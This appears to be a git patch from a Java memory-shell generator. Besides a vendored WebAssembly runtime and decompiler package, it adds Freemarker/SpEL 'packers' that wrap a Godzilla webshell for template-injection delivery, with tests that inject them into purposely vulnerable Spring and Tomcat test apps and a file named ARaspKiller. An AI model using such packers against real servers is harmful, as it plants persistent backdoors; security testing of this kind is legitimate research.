z0|T$nZpY*B1)ejl%<)%FEB03f-x(XGh<>(O~HBN=Qmpt#hyM%4=Emv7I9F;a-vnZ`tlBx|6(+c$L1m zo`hrem{E-1)Wu$~U^j1d2B$fz3>zx&J*lk1md#~`<>fN^(+5to1##f`A~Hr?k%NFm znpj;nacGG*5_pG=YsG`(`gWmIVZzE=yVZk(=JsB$y8HaFaZ~+DynZSjmFnrkdc9N- z4FMOsf7MO?tV zCkyYNmhT)ZTXiNJAvL;dsu7o)_Y-=d$ms~?uVioLlMh~vL1TkmWIi#18t!bxZYCwZ zCfr`kcoq{e9%j(LRRi2=$XFIKaLrfZHYW5#)XNBQqdEkSM>--=$%J>&VxIZx^&-nM z!Pko|CA5Ct6cH!fTnRawLzR6i6E9(F5qAvzPnp}cd1}M&zOuI*A)!U{QA*NXQFk_! zrc_a;MMk8X(oQ7er}6H~8NpqZ`F0?xP%WIP(2W3NP8bY&Tk7GCUhx@pjqmE9qOuz9 zRkvn(DVH69`8Uw!@kxp^H;qEe(`-%;yI{lh3}UvQxrRH=bAPwFduvxL#Qn^!nC|c$ zK76Yd@{w&YWPsLju+nu}0NKlnddQKzJGn`33g^%4bB*d%c&i{%l3)XLc@qj^ z{Siyz=5jU&`**p+A!I2v$rSMn;*$%xgZ&R)E+O;jqp!aF^56c`|MBRnuO2-hLH$FU z00V-lMiPDXkVKCkK79B9hvCX?76Qu)sR{NmAY1b{Hd_;fK1bUGMRX%o?$31u+0`R2PYTULZt1+Y5^?ToMHeQl@KLbTU$|!TPq{dIDXJ?}0 zM-T45rjpn6TQE+|)1xmQd~k~0NyY@c!qO&9`a+uY_~E0+51`BWw4-o+Fz0fxn;g~x zGX~2sUZ%Scv58gFbhEJA&=Yozr`@}3tuo(Iw4Q@P{noF9#*DT&C%#q)&vO6#L>TY?^X7h4^ z^Pn2o8#p$}B4d2pW!r~V?rL74F$6qH8ysqa0(jNu-pt_}qzuoQ9K=Y8ckm9J>hTk9 z;TMawdnH*~lp}VvCK*mN4iP{$4P-pZC~k|y9V{rb`e9P0lmPmy6(Pw4fgOK@eKczy zd@m97`s9&H@FlDx*KE9+fULTN&mY`*IX6!J)%*G7h|k4HPxtVkqSlMs$tyx6s{Jf^ z6HJ8+26T+LcM9QJI#-Edn($>a3;FWF`$-Pc(T^uz3PX7G)#u<+1GYMt&6veZW58I| zjv7A)-Nh%E!W7|3&p*?Q^U0$JZ*In(!M8)aH&?Kv0j$KuJcn+lm~b$s7Oj zpYQHR6Jd7&6^@XDeyy;3k2_x2p@?5BBg1N*HF07`_iSab!*^r9SgNHrX6;Ts>~pZm zau85s6t1M9nojQQ33(GN<67B`{Cc%~ySS9aGI%Qfa(9F2m=SZ0xOEgxmf>Q_^e>ip zEEk}jQ5QxHJ6Ph(dM7tBGD%U(oBQEa$kz`??8 z^QNI8X|aCeuB{%N!Ri&GR1;bMZw>RC|!D^03jJ$Z1y zB^rognhExvmfoyQuVh?=6PM!7vO9e1euG-(?ea6)73M zk69!7S!p?EQAYa+jS#sxXqAifB{1F~V7HRr$lhD^s0{-dk*70LIM(T~*o#R@}`aPNiN~evtbh zfaxpsQYFcJn#-^yC}j7*F9rFJzaPD!L%M{&3I6r}o}$x^|MkD1+cxI^`rlCZFxD2Q zs0)G^N{dGoLZ1y<_4of;^0(Mhi!w(M(tvhqDy1QfJ1;ln=Yqtj@i~sbXG&ufNHj?_ zBvG$8)KdLWk8;ka#!V#brXqU()o8!`UFrSO3xo?O3Y}UyE)7@FD7wdTw2zi3)4*dG z-zw^1Q)GFI<&9#3qBetd|KIIALMB3QRco6&awYzhRS(ELn9tu;9?VoxoFfb2%FRKq z&*|H0t95^)npVh`4L5BD;gVHB6Tyx4w43`Nch+OQ02`GbwOn{CvR*hf!+Y4g9k8gw zp4(J*mwRSA%(4DA{^kEkbK8wVsQtmruO1eDSzTU6F!JSGahgrU)-1Prxck=2Y4rQu zO6|_>V50CxbTsZIX+3Se*$U4GiDY4o06$LNAjoiM^vliSZEhur&|0xD_Q$LrU+UP+ z!@vyReK>;FZtTPKT^49k%=eY2>S6VRq@fwwrdJ-CbnXS==puw97(TQ~5z@KS+AngP zqH2eOa~Vx;(ZN1pg^3n>uf)IYnwI&r&ayhw4c8C+XQji04LdsON`x`_yW zMt}G4p2>JvDP+~azWM*RcDBuFTvr^A>%@;T!gk^+wqvg`(*}==f-K3hJJSpxBw-;$ zc#uZUWIPzHWkv$jU5JA^{xqGw==3A>U0(K6^>^;QyDVrWf$TRD?B09s^SS5Ye-0J9 z-*|5y9CWY`DQ<}>UH`jLCvVpFm1N2UuQ~l+8QC4+-uohq``b$EkG1srH-p0K zo(h(n#wOX+Qkvo~x3Eay`QeglTR-*e?h%}#vRoSUN0CtUjX8z6&t)soT%#w)LHeZR zP#$hQ3Ow{A1vae6iCwL9J*@VeeX$B?+40zs!H}YaKw~<&9a4OXbx`9j!)oDhtqxs) z;nfL+&VC1A>sJMWgvFCZ;yfUs^~K z>-~E7M&$$66$C5c*!9SAr-fD`lAw~|Gv(Za0m&daWn5BwEHWq{8t5O&@kq7DET|&^ zr@=l_EqO&5_|}Ki+ogkt#)aU#kD_zf`JU%vTFj z@)JftONJiSdupd3*|KRA zTST^Q)QO^9`%X&}X5Q9Bt(LQFnDSiWR^~mPVO6QPhY!-h@KY`2rmIb^g~7BzYV-aO zDV9Je&1(zg!n4GUA@%HHy0AWzCP2lokbPBHpA#&QQ^8l!QNpnNf0M&tIiBgb)F+{t zbA)Fci+5dbGa;t<7ysrH4{H3PueN_`EmrwNkidjTxQT0~b6X{@<&71q|L(Ds#bCmbMJ=_ai; zggHj2PE{ng*C&=xc8}OrBg51P+b`Z58H>!xb92fTqzl`R29=7!QV{F5K~G_O78i$1 z4!VypOIktDX<-&d*a+$ttGV^BCAG5F^2CT?6;K3Fd%cJ9HM-h^0n}x;m@~CgTaNAY z_({40a&bUi>DvB8E$VFmx0$XTy|q1Y4B<;o=Wb7Apn}~xRk8Ga2%lbg>FFTRdn ztmLcHVg%QnuVUMGF7DJe9t9gczBpPA-KiB5!E(XH_WS6u*15!uau381UD8s(PObc> zU~T+?f|aIs!e)aTlVz@!3o~-X2%nMzFR$m!J-U$iu81$nc4Ta>mB#9bSDJP>*kWFq z3RWZmMCCp||E%omp4~vGnYmnI)0J!GZ-@G-I%6yVONr=c^@kyT6RGlCn1j}cvV~j( zi>>OG=AUBURbRdP*BC;q?`taw#58ipuoc*~Jub{wrQiQWNPax3{NEOKX30=MR)R~& zx;QMS9J||d+WN~SM?JgRGDwxwbzF!hKrQ7zox9?__a8mGgv+YgZpc3Z(Jy0rz@Vi6 z^Zg1Dz?cWx{1}0Jph-TH?WXrO^_8psw%+yHe3rjgDAAJW`AfFKX+GHQIQxW^t5gS; zcJ*p!u2ophCa2pt+CbP7G6x2FMq3ULGb6l|QOJ&rTptM@9T+{lRjvoZsOj12e*`Wt^d!&TX%r z)390wO?YAJj|Mx31Jne~THX4d_49p?F!!Ut%rpc?Q*v*4FZENwKs}aR2XNcI=XS=~ ziD1J8gBRcJqsJY%-}==s^_aoo3@J8hVkFxE@vXX@56Zvvtnfs%(yeSg` zGeH8u7ZxnC+aJuY6xO~{vp}&CvIiQ0Hfttb%0CDY4|)BKw^sfl3J&a^_jII&ybBGn z2|~~jbVgz&7?SRP=s=@R>s6?SJCVD5xGor`e1u6m%dXCYJx;I%#_WNFYf0df5j);IB)oipm*!xres zrBE3EMAV1rEhx;BT09+QmNu|4L3ArLLcCBv>c1lCMnRIcNZ3U@H9@V~AyPRx0cCnGYR^86m*XM!+^ zrzV(@d}R|stm||R;;Fxl-|Qd%eed_i3;@zje+t86;UdWt95 zYM7ZDDiUF$4O(q>!7-|BogTlJh|o>>cHT|vfv{BnB6b_lB_sdA)rSxK;NTm?c2s!s(T=tzQKa7q&qAenX>&89FO z#6CUDV@2|AXK88Sg(-9b9pH_rMN=d+<|~Y0rajS4Be6n*_QLAPpvFj^A|NEhCfm_` zJTxoC=OCXEby&9%8qgG6PVYh=x$U_j(p>?*>F^R&Lqh465x=>7iLmj-k)9i>M8V01ZJkrAd$-pBq8B>K(`hiY0H*J+6L(?&0-U@qwj5$z1T`2c3ZC9^i3j!Z ziR?QCES!7|;4}kV;>(GLkKBY_j!XQ-icP8Rx9TF9q_2bk980v$FB9vBL z$((mMsIwSwHvy`jdo(4Df(@0qk1H03D)-O_lQb*oWzX7>5TAG&yPb|#+b|Xu@BNrr zoKB^#j$EPs);0E8AefPP=KVo-* zZ>uX?vg^GLTji66HrQBNu9IMxk<@%B2aWgo?dQ(=w+Xb`?rPehnG8Om+e&tJ_IkoD zbPJz*Vsc^w)TC!gxQtt~?u8uch!e~0h&5B*KQbKCcX>It0${ds zty-?--ed}!+4buy=|aVPzFghhe6x}+f0ZZlr%dQqxtz;ZqeCJufvaB&cfZgto2$nEhgPrfb)KZ6#X-)i`}4 zKgf!?|A^r=i@kg{|I~_!ZN9>pi@i*xUi>g8kH{>KEhhHTdRHet_2U=sZfHX2dffZ& r&s0~jTd|ih^#T?~1F@$u@j&trQ~aUceX);E&nn!i|E8M%_{;wR#iSgw literal 0 HcmV?d00001 diff --git a/web/vendor/cfr/cfr.wasm-runtime.js b/web/vendor/cfr/cfr.wasm-runtime.js new file mode 100644 index 00000000..4b62e766 --- /dev/null +++ b/web/vendor/cfr/cfr.wasm-runtime.js @@ -0,0 +1,30 @@ +var n=new Map;var s=/.+:wasm-function\[[0-9]+]:0x([0-9a-f]+).*/;function D(e){let t=n.get(e);if(typeof t==="undefined"){t=new Function("return "+e+";");n.set(e,t)}return t()}function O(e,t){new Function("value",e+" = value;")(t)}function x(e,t,n){const r={exports:null,userExports:t,stackDeobfuscator:null};if(!n){o(e)}a(e);l(e);i(e,r);u(e);f(e,r,n);e.teavmMath=Math;return{supplyExports(e){r.exports=e},supplyStackDeobfuscator(e){r.stackDeobfuscator=e}}}var _=Symbol("javaException");var E=class extends Error{#context;[_];constructor(e,t){super();this.#context=e;this[_]=t;e.exports["teavm.setJsException"](t,this)}get message(){const e=this.#context.exports["teavm.exceptionMessage"];const t=this.#context.exports["teavm.stringToJs"];if(typeof e==="function"&&typeof t==="function"){const n=e(this[_]);if(n!=null){return t(n)}}return"(could not fetch message)"}};function o(e){e["wasm:js-string"]={fromCharCode:e=>String.fromCharCode(e),fromCharCodeArray:()=>{throw new Error("Not supported")},intoCharCodeArray:()=>{throw new Error("Not supported")},concat:(e,t)=>e+t,charCodeAt:(e,t)=>e.charCodeAt(t),length:e=>e.length,substring:(e,t,n)=>e.substring(t,n)}}function a(e){e.teavmDate={currentTimeMillis:()=>(new Date).getTime(),dateToString:e=>new Date(e).toString(),getYear:e=>new Date(e).getFullYear(),setYear(e,t){const n=new Date(e);n.setFullYear(t);return n.getTime()},getMonth:e=>new Date(e).getMonth(),setMonth(e,t){const n=new Date(e);n.setMonth(t);return n.getTime()},getDate:e=>new Date(e).getDate(),setDate(e,t){const n=new Date(e);n.setDate(t);return n.getTime()},create:(e,t,n,r,o,a)=>new Date(e,t,n,r,o,a).getTime(),createFromUTC:(e,t,n,r,o,a)=>Date.UTC(e,t,n,r,o,a)}}function l(e){let t="";let n="";e.teavmConsole={putcharStderr(e){if(e===10){console.error(t);t=""}else{t+=String.fromCharCode(e)}},putcharStdout(e){if(e===10){console.log(n);n=""}else{n+=String.fromCharCode(e)}}}}function k(e,t){return(e-1>>t)+1<0){s=k(s,v);h.memoryOffset=s;s+=g}if(x>0){l=k(l,A);h.tableOffset=l;l+=x}}let p=-1;let m=-1;let y=-1;if(n.length>0){s=k(s,4);p=s;m=s;s+=a;s=k(s,4);y=s}let c=r.maxSize;s=k(s,8);const i=s;if(!f){const j=o.min??0;s+=j;s=Math.max(s,r.minSize??0);const J=r.shared??o.shared??false;c??=(1<<31)-1|0;const S=Math.max(j,n.length===0?1:256);const W=J?S:(c-1>>16)+1;f=new WebAssembly.Memory({shared:J,initial:S,maximum:W})}const b=l>0?new WebAssembly.Table({initial:l,element:"anyfunc"}):null;u.env={memory:f};u.teavmMemory={linearMemory(){return f.buffer},notifyHeapResized:r.onResize??function(){},heapOffset:new WebAssembly.Global({value:"i32",mutable:false},i),maxSize:new WebAssembly.Global({value:"i32",mutable:false},c)};const w={malloc:null,free:null,realloc:null};await Promise.all(n.map(async({name:e,wasmModule:n,jsLoader:t,tableOffset:r,memoryOffset:o})=>{const a=await t({wasmMemory:f,instantiateWasm(e,t){e.env={memory:f,malloc:e=>w.malloc(e),free:e=>w.free(e),realloc:(e,t)=>w.realloc(e,t),__indirect_function_table:b,__memory_base:new WebAssembly.Global({value:"i32",mutable:false},o??0),__table_base:new WebAssembly.Global({value:"i32",mutable:false},r??0),__stack_pointer:new WebAssembly.Global({value:"i32",mutable:true},p)};e["GOT.mem"]={__stack_low:new WebAssembly.Global({value:"i32",mutable:true},m),__stack_high:new WebAssembly.Global({value:"i32",mutable:true},y)};WebAssembly.instantiate(n,e).then(t)}});const s={};for(const{name:l,kind:c}of WebAssembly.Module.exports(n)){if(c==="function"){const i=a["_"+l];if(typeof i==="function"){s[l]=i}}}u[e]=s}));return w}var c=class{ptr=0;array;constructor(e){this.array=e}readVarInt(){let e=0;let t=0;while(true){const n=this.array[this.ptr++];e|=(n&127)<{const t=a.exports["teavm.reportGarbageCollectedValue"];if(typeof t!=="undefined"){t(e.queue,e.ref)}});const n=new FinalizationRegistry(e=>{const t=a.exports?.["teavm.reportGarbageCollectedString"];if(typeof t==="function"){t(e)}});e.teavm={createWeakRef(e,t,n){if(n!==null){r.register(e,{ref:t,queue:n})}return new WeakRef(e)},deref:e=>{const t=e.deref();return t!==void 0?t:null},createStringWeakRef(e,t){n.register(e,t);return new WeakRef(e)},stringDeref:e=>e.deref(),takeStackTrace(r){const e=(new Error).stack??"";const t=[];for(const n of e.split("\n")){const o=s.exec(n);if(o!==null&&o.length>=2){t.push(parseInt(o[1],16))}}return{getStack(){let n;if(a.stackDeobfuscator){try{n=a.stackDeobfuscator(t)}catch(e){console.warn("Could not deobfuscate stack",e)}}if(!n){n=t.map(e=>({className:"java.lang.Throwable$FakeClass",method:"fakeMethod",file:"Throwable.java",line:e}))}else if(r!==null){if(n.length>0&&n[0].className==="java.lang.Throwable"&&n[0].method==="fillInStackTrace"){n.shift()}let t=-1;for(let e=0;e"){break}if(n[e].className===r){t=e+1;break}}if(t>=0){n.splice(0,t)}}return n}}},decorateException(e){new E(a,e)}}}function u(e){e.teavmAsync={offer(e,t,n){const r=Math.max(0,n-Date.now());return setTimeout(()=>{t(e)},r)},kill(e){clearTimeout(e)}}}function M(e){const t=WebAssembly.Module.customSections(e,"teavm.memoryRequirements");if(t.length!==1){return{}}return JSON.parse((new TextDecoder).decode(t[0]))}function f(t,s,e){const l=Symbol("javaObject");const c=Symbol("functions");const o=Symbol("functionOrigin");const i=Symbol("wrapperCallMarker");const a=new WeakMap;const r=new WeakMap;const u=new Map;const f=new FinalizationRegistry(e=>u.delete(e));const n=new WeakMap;let p=2463534242;const m=()=>{let e=p;e^=e<<13;e^=e>>>17;e^=e<<5;p=e;return e};function y(e){return e}function b(t){let n="";const e=t.charAt(0);n+=w(e)?e:"_";for(let e=1;e="A"&&e<="Z"||e>="a"&&e<="z"||e==="_"||e==="$"}function h(e){return w(e)||e>="0"&&e<="9"}function d(e,t,n){if(e===null){O(t,n)}else{e[t]=n}}function g(t){if(t instanceof WebAssembly.Exception){const n=s.exports["teavm.javaException"];const r=s.exports["teavm.getJsException"];if(t.is(n)){const o=t.getArg(n,0);const a=A(o);if(a!==null){return a}let e=r(o);if(typeof e==="undefined"){e=new E(s,o)}return e}}return t}function v(e){if(_ in e){return e[_]}else{return s.exports["teavm.js.wrapException"](e)}}function x(e){s.exports["teavm.js.throwException"](v(e));throw e}function A(e){return s.exports["teavm.js.extractException"](e)}function j(e){throw g(e)}function J(e,t){try{return e!==null?e[t]:D(t)}catch(e){x(e)}}function S(t,e){const n=[];const r=[];for(let e=0;ee,isUndefined:e=>typeof e==="undefined",emptyArray:()=>[],appendToArray:(e,t)=>e.push(t),unwrapBoolean:e=>e?1:0,wrapBoolean:e=>!!e,getProperty:J,setProperty:d,setPropertyPure:d,global(e){try{return D(e)}catch(e){x(e)}},createClass(e,t,r){e=b(e??"JavaObject");let o;const n=W(e,function e(t,n){if(t===i){o.call(this,n)}else if(r===null){throw new Error("This class can't be instantiated directly")}else{try{return r.apply(null,arguments)}catch(e){j(e)}}});if(t===null){o=function(e){this[l]=e;this[c]=null}}else{o=function(e){t.call(this,e)}}n.prototype=Object.create(t?t.prototype:Object.prototype);n.prototype.constructor=n;const a=W(e,function(e){return n.call(this,i,e)});a[i]=n;a.prototype=n.prototype;return a},exportClass(e){return e[i]},defineMethod(e,t,n,r){const o=[];const a=[];for(let e=1;etypeof e===t||e===null,instanceOf:(e,t)=>e instanceof t,instanceOfOrNull:(e,t)=>e===null||e instanceof t,sameRef:(e,t)=>e===t,hashCode:t=>{if(typeof t==="object"||typeof t==="function"||typeof t==="symbol"){let e=n.get(t);if(typeof e==="number"){return e}e=m();n.set(t,e);return e}else if(typeof t==="number"){return t|0}else if(typeof t==="bigint"){return Number(BigInt.asIntN(32,t))}else if(typeof t==="boolean"){return t?1:0}else{return 0}},apply:(e,t,n)=>{try{if(e===null){const r=D(t);return r(...n)}else{return e[t](...n)}}catch(e){x(e)}},concatArray:(e,t)=>[...e,...t],getJavaException:e=>e[_],getJSException:e=>{const t=s.exports["teavm.getJsException"];return t(e)},jsExports:()=>s.userExports};for(const M of["wrapByte","wrapShort","wrapChar","wrapInt","wrapLong","wrapFloat","wrapDouble","unwrapByte","unwrapShort","unwrapChar","unwrapInt","unwrapLong","unwrapFloat","unwrapDouble"]){t.teavmJso[M]=y}function k(e){try{return e()}catch(e){x(e)}}const C=[];for(let e=0;e<32;++e){const F=C.length===0?"":C.join(", ");const T=[...C,"body"].join(", ");t.teavmJso["createFunction"+e]=new Function("wrapCallFromJavaToJs",...C,"body",`return new Function('wrapCallFromJavaToJs', ${T}).bind(this, wrapCallFromJavaToJs);`).bind(null,k);t.teavmJso["bindFunction"+e]=(e,...t)=>e.bind(null,...t);t.teavmJso["callFunction"+e]=new Function("rethrowJsAsJava","fn",...C,`try { + return fn(${F}); +} catch (e) { + rethrowJsAsJava(e); +}`).bind(null,x);t.teavmJso["callMethod"+e]=new Function("rethrowJsAsJava","getGlobalName","instance","method",...C,`try { + return instance !== null + ? instance[method](${F}) + : getGlobalName(method)(${F}); +} catch (e) { + rethrowJsAsJava(e); +}`).bind(null,x,D);t.teavmJso["construct"+e]=new Function("rethrowJsAsJava","constructor",...C,`try { + return new constructor(${F}); +} catch (e) { + rethrowJsAsJava(e); +}`).bind(null,x);t.teavmJso["arrayOf"+e]=new Function(...C,"return ["+F+"]");C.push("p"+(e+1))}}function e(e){return new Proxy(e,{get(e,t){const n=e[t];return new WebAssembly.Global({value:"externref",mutable:false},n)}})}async function j(e,o){const t=[];const n={};for(const{module:a,name:r}of p(e)){if(a in o){continue}let e=n[a];if(e===void 0){const s=[];e=s;n[a]=e;t.push((async()=>{const e=await import(a);const t={};for(const n of s){const r=n==="__self__"?e:e[n];t[n]=new WebAssembly.Global({value:"externref",mutable:false},r)}o[a]=t})())}e.push(r)}if(t.length===0){return}await Promise.all(t)}function p(e){const t=WebAssembly.Module.customSections(e,"teavm.imports");if(t.length!==1){return WebAssembly.Module.imports(e).filter(e=>e.kind==="global")}return JSON.parse((new TextDecoder).decode(t[0]))}async function t(e,t){if(!t){t={}}const n=t.nodejs||typeof process!=="undefined";const r=t.emscriptenModules??{};const o=t.stackDeobfuscator??{};const a=o.infoLocation??"auto";const s=J(e,n);const[l,c,i,u]=await Promise.all([o.enabled?W(e,o,n):Promise.resolve(null),s,T(e,a,o,n),I(r,n)]);const f={};const p={};const m=x(f,p,await S());const y=await A(f,t,c,u);if(typeof t.installImports!=="undefined"){t.installImports(f)}if(!t.noAutoImports){await j(c,f)}const b=await WebAssembly.instantiate(c,f);y.malloc=b.exports["teavm.malloc"];y.free=b.exports["teavm.free"];y.realloc=b.exports["teavm.realloc"];m.supplyExports(b.exports);if(l){const h=a==="auto"||a==="embedded"?c:null;const d=F(h,i,l);if(d!==null){m.supplyStackDeobfuscator(d)}}const w={exports:p,instance:b,module:c};for(const g in b.exports){const v=b.exports[g];if(v instanceof WebAssembly.Global){Object.defineProperty(p,g,{get:()=>v.value})}}return w}async function J(e,t){if(typeof e!=="string"){return await WebAssembly.compile(e,{builtins:["js-string"]})}const[n,r]=await m(e,t);const o=await WebAssembly.compileStreaming(n,{builtins:["js-string"]});r();return o}var r=null;function S(){if(r===null){r=(async()=>{const e=new Int8Array([0,97,115,109,1,0,0,0,1,7,1,96,1,127,1,100,111,2,31,1,14,119,97,115,109,58,106,115,45,115,116,114,105,110,103,12,102,114,111,109,67,104,97,114,67,111,100,101,0,0,3,1,0,5,4,1,1,0,0,7,10,1,6,109,101,109,111,114,121,2,0,10,-127,-128,-128,0,0]);try{const t=new Response(e,{headers:{"Content-Type":"application/wasm"}});const n=await WebAssembly.compileStreaming(t,{builtins:["js-string"]});await WebAssembly.instantiate(n,{});return true}catch(e){return false}})()}return r}async function W(e,t,n){if(typeof e!=="string"&&!t.path){return null}try{const r={};const o=await J(t.path??`${e}-deobfuscator.wasm`,n);const a=x(r,{},await S());await A(r,{},o,[]);const s=await WebAssembly.instantiate(o,r);a.supplyExports(s.exports);return s}catch(e){console.warn("Could not load deobfuscator",e);return null}}async function m(e,t){if(!t){const n=await fetch(e);return[n,()=>{}]}else{const r=await b();const o=await r.open(e,"r");const a=await o.readableWebStream();const n=new Response(a,{headers:{"Content-Type":"application/wasm"}});return[n,()=>o.close()]}}var y;async function b(){if(!y){y=import("node:fs/promises")}return await y}function F(e,t,n){let r=null;let o=false;function a(){if(!o){o=true;if(t!==null){try{r=n.exports["createFromExternalFile"].value(t)}catch(e){console.warn("Could not load create deobfuscator",e)}}if(r==null&&e!==null){try{r=n.exports["createForModule"].value(e)}catch(e){console.warn("Could not create deobfuscator from module data",e)}}}}return e=>{a();return r!==null?r.deobfuscate(e):[]}}async function T(e,t,n,r){if(!n.enabled){return null}if(typeof e!=="string"&&!n.externalInfoPath){return null}if(t!=="auto"&&t!=="external"){return null}if(typeof n.externalInfoPath==="object"&&n.externalInfoPath instanceof Int8Array){return n.externalInfoPath}const o=n.externalInfoPath??e+".teadbg";let a;if(!r){const s=await fetch(o);if(!s.ok){return null}a=await s.arrayBuffer()}else{const l=await b();a=(await l.readFile(o)).buffer}return new Int8Array(a)}async function I(e,c){const t=Object.entries(e);return Promise.all(t.map(async([e,{pathToJs:t,pathToWasm:n}])=>{const[r,o]=await m(n,c);const[a,s]=await Promise.all([import(t),WebAssembly.compileStreaming(r)]);const l={name:e,jsLoader:a.default,wasmModule:s};o();return l}))}export{x as defaults,t as load,e as wrapImport}; \ No newline at end of file diff --git a/web/vendor/cfr/package.json b/web/vendor/cfr/package.json new file mode 100644 index 00000000..0b93de6b --- /dev/null +++ b/web/vendor/cfr/package.json @@ -0,0 +1,24 @@ +{ + "name": "@run-slicer/cfr", + "version": "0.1.6-0.152", + "description": "A JavaScript port of the CFR decompiler (https://github.com/leibnitz27/cfr).", + "type": "module", + "main": "cfr.js", + "module": "cfr.js", + "exports": { + ".": { + "types": "./cfr.d.ts", + "import": "./cfr.js", + "default": "./cfr.js" + } + }, + "types": "cfr.d.ts", + "keywords": [ + "decompiler", + "java", + "decompilation", + "cfr" + ], + "author": "run-slicer", + "license": "MIT" +} \ No newline at end of file From 0e59054937130e0f3483a800a55274e4dc6eb22c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 16:02:59 +0800 Subject: [PATCH 13/20] feat: support Freemarker SpEL packer --- .../javaweb/integration/ShellAssertion.java | 5 ++- .../SpringBoot3ExpressionContainerTest.java | 3 +- .../Tomcat8ExpressionContainerTest.java | 1 + .../com/reajason/javaweb/packer/Packers.java | 6 +++ .../packer/freemarker/FreemarkerPacker.java | 13 +----- .../FreemarkerScriptEnginePacker.java | 19 ++++++++ .../FreemarkerSpELSpringGzipJDK17Packer.java | 25 +++++++++++ .../FreemarkerSpELSpringGzipPacker.java | 22 ++++++++++ .../FreemarkerSpELSpringGzipPackerTest.java | 43 +++++++++++++++++++ .../springboot2/controller/ARaspKiller.java | 0 vul/vul-springboot3/build.gradle.kts | 1 + .../controller/FreemarkerController.java | 35 +++++++++++++++ web/.env | 2 +- web/app/utils/transformer.ts | 11 +---- 14 files changed, 161 insertions(+), 25 deletions(-) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipJDK17Packer.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPacker.java create mode 100644 packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELSpringGzipPackerTest.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ARaspKiller.java create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/FreemarkerController.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index ddc5998d..fb0c8005 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -381,7 +381,8 @@ public static MemShellResult generate(String urlPattern, String server, String s } if (Packers.SpELSpringGzipJDK17.equals(packer) || Packers.OGNLSpringGzipJDK17.equals(packer) - || Packers.JXPathSpringGzipJDK17.equals(packer)) { + || Packers.JXPathSpringGzipJDK17.equals(packer) + || Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) { injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); } @@ -429,7 +430,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St case Rhino -> VulTool.postIsOk(url + "/rhino", content); case BeanShell -> VulTool.postIsOk(url + "/bsh", content); case JinJava -> VulTool.postIsOk(url + "/jinjava", content); - case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); + case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content); case Velocity -> VulTool.postIsOk(url + "/velocity", content); case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java index f58e1a84..14bda996 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -59,7 +59,8 @@ static Stream casesProvider() { return Stream.of( arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), - arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index ab92f2c3..50fd2dde 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -61,6 +61,7 @@ static Stream casesProvider() { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) ); } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 213ba6f1..24846dfd 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.java.*; import com.reajason.javaweb.packer.el.ELPacker; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker; +import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer; +import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import 